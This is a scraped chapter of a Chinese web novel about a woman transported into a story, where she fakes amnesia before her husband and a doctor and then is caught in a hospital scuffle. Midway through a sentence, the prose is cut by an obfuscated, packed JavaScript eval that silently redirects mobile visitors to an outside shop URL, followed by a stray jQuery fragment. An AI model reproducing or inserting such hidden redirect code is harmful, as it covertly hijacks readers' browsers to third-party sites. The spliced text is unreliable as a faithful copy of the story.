文趣网 > 其他小说 > 穿进京圈虐文后爱上十八线配角 > 2. 你到底是谁?
    楼上,季舒砚已经换了灰色的居家服,搭靠在楼梯边的铜艺雕花护栏上,直勾勾望着云冉,把她刚刚的举动看了个全。

    他喊:“云冉。”

    刘姨先反应,笑盈盈撮合:“小冉你跟砚儿聊,我自己去找。”说完,便脚下生风,七拐八拐就不见踪影。

    留下云冉在后面伸长悬在半空的胳膊,一副被抛弃的绝望样子。

    别走啊亲!走了她怎么找房间…

    还没等多绝望两秒,季舒砚的声音犹如惊雷般劈下:“你是谁?”

    云冉整个人跟着绷直,心虚地垂眸,但又带着点坚定道:“我是云冉啊。”

    她确实是云冉啊。

    想到这儿,她有了底气抬眼,问:“怎么了?”

    季舒砚久久没有说话,像是要把她盯穿,过了会儿,他重复:“你到底是谁?”哪有姑娘被自己丈夫问了是谁后第一反应是回答名字的,难道不该是质疑他为什么会问出这话?

    云冉在心里直骂,这男人怎么不按常理出牌。按照剧情发展又或者出于人文关怀,他难道不该是怀疑几天,再问吗?

    要是现在摇头,会不会立马被送去研究院?

    “呃…”云冉决定用老土的失忆梗搪塞,她弱弱地问,“你听说过落水后失忆的吗?”

    又演技拙劣地扶着脑袋:“我只记得些零星的事情和人,别的不记得了。”

    良久,季舒砚挑挑眉,说出医学名词:“广泛性遗忘?”

    “对。”云冉点头。

    季舒砚轻嗤一声,只觉得荒谬至极,可他却实在没理由质疑,毕竟人还是这么个人,性情骤变是为何,拿不准。

    他又说:“那带你瞧瞧医生?”这语调,温和却隐着凉,让人觉着假,摸不透阴晴。

    “可以的。”云冉硬着头皮答应,低头拉身上的衣服,抿抿唇:“但明天吧,我这一身…”

    白色修身礼裙经车里的暖气烘干了些,可垂着的头发不易干,贴在胸口连上腰身,一片湿漉,微透,让人遐想。

    季舒砚顺着她的目光瞧了两眼,又挪开:“行。”之前没注意,这姑娘身材挺不错。

    云冉如释重负,转身就要走,可刚走两步又定住,重新转回来。

    季舒砚还站在原地,料到似的笑:“找不着屋了?”

    云冉闷着点头说嗯。

    然后她就从乖乖跟着刘姨找屋变成乖乖跟着季舒砚找屋。都被戳破了,不演了,索性就当失忆好了。

    走了好一段,季舒砚停下,伸手打开卧室门,又侧身让出半步,问她:“瞧瞧,还记得吗?”

    云冉顺着望去,是一间奢华开阔的法式古典风主卧,看得出来装修很用心,尤其是床尾放着的蓝白刺绣贵妃榻,安静妥帖。

    她瞎掰:“记得。”

    “行,休息吧,明天领你看医生。”季舒砚丢下这句让她彻夜难眠的话就从容离去。

    深夜,云冉在屋里打转,她在思考一个很重要的问题。

    她脑袋没伤,明天问诊,不就露馅儿了?

    要不要撞下脑袋?

    左萦右拂,左挪右移,迟迟下不去脑袋。

    她舍不得自己吃这么大苦头。

    算了,睡吧,明天的事明天再说,左右不过一个穿回去。

    第二天,云冉顶着乱糟糟的头发哀怨地从床上坐起来,怎么办?

    瞧了眼手机,不早也不晚,九点半。

    她收拾好,从隔间入内来到衣帽间,细细挑着衣服。

    这儿正值仲秋尾部,你说天冷,走点步倒也热,你说天热,站久了又觉着凉。

    云冉深思熟虑后拣了件米白薄大衣,衣服里头挂着件宽口连衣裙,配好的,也省的再搭。

    说来体贴,她穿过来,样貌身材名字都没变,连城市也没变,就改了身份,太沉浸了。就像只是从平凡生活突然被富贵人家认回来过了阵。

    走下楼梯,隔着会客厅往东瞅,瞧见季舒砚果真在餐厅悠哉地端着财经报看,想来去看医生是逃不掉了。

    不过云冉觉得好笑,一般都是看手机,季舒砚这样子,像极了旧时代的人。蓦地,她又反应过来,书里是2016年。

    刚到餐厅,就和季舒砚眼神对上,他不上班吗?云冉有些好奇。可书里也没怎么提季舒砚的职业,只说了四个字,位高权重。

    多高多重?不知道,但她知道自己家世也不差。

    这时刘姨端着托盘上来,盘上搁着两盅汤,白玉瓷盛着,她瞧见云冉赶忙唤:“小冉,快来。”

    云冉应了声,脚步虚浮,只觉得玄幻,记得昨儿这个时候她还在地铁口排队买煎饼吃。

    圆桌上安静,所有吃食都搁在璇桌一侧,恰好够两人夹,她坐在季舒砚右边的位置,不扭捏,确实饿,大口吃起来。

    刘姨身上还围着围裙,眼带着笑退去,这是季舒砚头次留在家里和云冉吃饭。也许,两人感情要升温,她得赶紧两头都汇报一下。

    过半,季舒砚放下筷子说了桌上第一句话,“吃的还习惯?”

    云冉总觉得这话含着沙射着影,她答:“习惯。”

    等吃的差不多,云冉撂了筷子,擦擦嘴,想若无其事地吹着口哨重新上楼,却如她所料被叫住:“车子在外面等。”

    她又扭身回来,赴死似的出门:“走吧。”

    季舒砚给她开了车门,不容拒绝。云冉不情不愿地撇着嘴坐进去,擦身时,还能闻到他身上淡有淡无的茶木冷香。

    车上本来安静,秦越不知道怎么抽了,体贴地重新放了经典港风曲。

    音一响,和车里的静掺杂着,有一丝古怪。

    云冉想到秦越和季舒砚端着正儿八经的表情听伤感歌曲,没忍住清脆乐了声,又觉得突兀,赶忙捂嘴。

    季舒砚正点着手机,听到这笑声顿了下指尖,这姑娘真病了。

    直到车子停靠在医院,焦虑才重新爬上头,云冉木着脸跟在季舒砚身后,心一丝一丝被灌入凉气。也许再过一个小时,她就躺在研究院了…

    护士接引着他们去诊疗室,一约莫着得过了半百的老医生在里头候着。先是恭顺地叫了季舒砚一声,就开始盘问云冉:

    “云小姐,你忘了些事儿?”

    “嗯。”

    “是什么时候忘的?昨晚落水后?”

    “嗯。”

    “头部有过撞击吗?”

    “嗯…”云冉摆烂一样答,才反应过来问题,又赶忙摇头:“没,没受过撞击。”

    “…只记得部分事情?”

    “零碎的,我也不知道记得多少。”云冉这句是真的,书她是囫囵看完的,剧情确实记得零碎。

    老医生提起笔在本上记录,又推了份情绪评估表,说:“初步推断是受了刺激导致的广泛型解离性遗忘,这份表麻烦做完。”

    “待会儿再去拍下CT,以防万一。”

    云冉微微侧过脸回头看季舒砚的反应,他陪诊的也称职,没看手机也没干别的事儿,微阂着眼靠在沙发上,身子坐的端正,能看出来是清醒的。

    他的外套被搭在一旁,只穿着件纯黑色高

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722097|208717||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    领毛衫,利落又贴合肌肉线条,很有型。

    忽地,季舒砚像是感应到了目光,掀开眼懒懒地对上云冉的眼神,害得云冉猛然低头,耳尖也跟着红。

    季舒砚笑了笑,昨晚还爽利的去和别人吵架,怎么到他这挺纯情?

    到底是犀利,他也轻松捕捉到了云冉看他的用意。站起身去拿他和云冉的外套,还是那让人摸不准阴晴的语调替云冉回绝:“不用了,您说说怎么才能恢复?”

    老医生摇摇头,写了个单子递给季舒砚:“说不准,平时作息必须规律,保持情绪稳定,这些安神舒缓的药每天早晚服用。

    “安稳的环境才利于恢复。”

    “嗯,谢谢。”季舒砚扫了眼云冉,拿着单子出门。

    这一关算是过了。云冉脸上松快不少,跟着季舒砚出来,见他左胳膊挂着她的外套,右手拿着老医生开的单子,有点心虚道:“外套给我吧。”

    医院里已经开了暖气,甚至有点热,季舒砚把外套拿给她,又顺手把药单递给秦越,随口问了句:“你冷了?”

    云冉没过脑子点头,等反应过来,只能硬着头皮把大衣套上。秦越取药要好一阵儿,两人站在角落的连廊窗边,相对无言。

    云冉试图找话题:“对了,你工作不忙吗?”

    季舒砚侧头看她,云冉赶忙指着自己脑袋解释:“我忘了。”样子窘迫。

    他勾勾唇答:“不忙。”

    话音刚落,云冉正想再问,就听远处一道尖叫“呜啊——”

    一长发少年身穿病号服不知道从哪冒出来,红着脸,嘴巴大张大合地朝他们这边扑来。

    距离之近,云冉侧身闪开。许是和季舒砚高大的身躯相较她在少年眼中是好欺负的,少年也跟着转了方向又朝她扑来。

    “追我干嘛!”

    云冉喊了句,一个情绪上有不确定因素的人,尽管看起来只有十四五岁,也够吓人的。

    她绕着少年跑,少年也来了兴趣追,仅仅两三秒钟,让人来不及反应。

    连廊长但不宽,周围没什么人。跑了几步,云冉有些恼,她停下,在少年扑过来时伸手重重抵推了一把。

    少年比她矮个半头,体格却壮些,惯性原因,两人相反方向倒下。

    这一摔,少年的家长可算露头了。一中年妇女松散着头发护心肝一样跑到少年身旁抱着嚎:“哎呦,我的明儿,我的明儿。”

    云冉摔的实在,跑得气喘吁吁又疼得龇牙咧嘴,身上还裹着大衣,额上闷出薄薄一层汗,到底是疼的还是热的,感觉不出来。

    不过她也感受到了虐文的威力,这祸事真是应接不暇啊。

    “你推我家明儿干什么!”少年的母亲孙雅绣锐着嗓子喊,话说得弱势,语气却蛮横,“你知不知道他有精神疾病!”

    孙明儿见自己母亲情绪激动,也跟着呜哇呜哇哭起来,手腿来回翻腾,心智像三四岁的儿童。

    云冉本就恼,无妄之灾还要被倒打一耙,捂着后腰晃晃悠悠被季舒砚扶着站起来,回:“他有病你还不看好他。”

    她不否认,这话说得刻薄,可实在是窝着火,云冉并不是个好脾气。

    约莫是“有病”这俩字激怒了孙雅绣,本来见到季舒砚垮了气势的她,突然冲过来撕扯云冉,嘴里喊着:“你凭什么说我的明儿!”

    尽管季舒砚护着,但云冉是站不稳的,他一手托着云冉,一手去拦孙雅绣。可云冉的衣服,头发,还是被孙雅绣的双手扯了去。

    云冉也去推孙雅绣的胳膊,姿势古怪,动静也不小。